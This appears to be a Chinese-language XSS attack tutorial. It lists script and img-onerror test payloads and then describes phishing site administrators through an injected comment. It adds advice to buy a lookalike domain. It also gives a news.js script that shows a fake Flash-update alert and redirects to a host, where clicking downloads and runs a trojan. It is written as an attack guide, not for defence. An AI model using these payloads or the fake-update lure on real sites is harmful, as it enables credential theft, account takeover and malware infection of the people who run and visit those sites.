0x01 找到存在注入的目标站点

2、检测方法

通常有一些方式可以测试网站是否有正确处理特殊字符：

><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert (vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://888.888.com/999.png" onerror="alert('XSS')">
<div style="height:expression(alert('XSS'),1)"></div>（这个仅于IE7(含)之前有效）

2、攻击思路　　

站点含有Xss漏洞，但现在大部分站点都使用了Httponly,因此暂且无法劫持Cookie。此时可以进行Xss钓鱼，伪造登陆界面，获取管理账号密码，提升权、访问量极大的一些页面上的XSS可以攻击一些小型网站，实现DOS攻击的效果.

修改官方页面源码

设计好用于迷惑目标点击触发的页面，购买一个相似的域名。把脚本代码插入到留言或者可以与目标活动的地方。

news.js

    window.alert = function(name){
    var iframe = document. createElement("IFRAME");
    iframe.style.display="none";
    iframe.setAttribute("src",'data:text/plain,');
    document. documentElement.appendChild(iframe);
    window.frames [0].window.alert(name);
    iframe.parentNode.removeChild(iframe);
    }
    alert( "您的FLASH版本过低，尝试升级后访问该页面! ");
    window. location.href="http://www.test.com";

管理员查看留言回复时弹出提示，点击便会下载运行后便会触发木马程序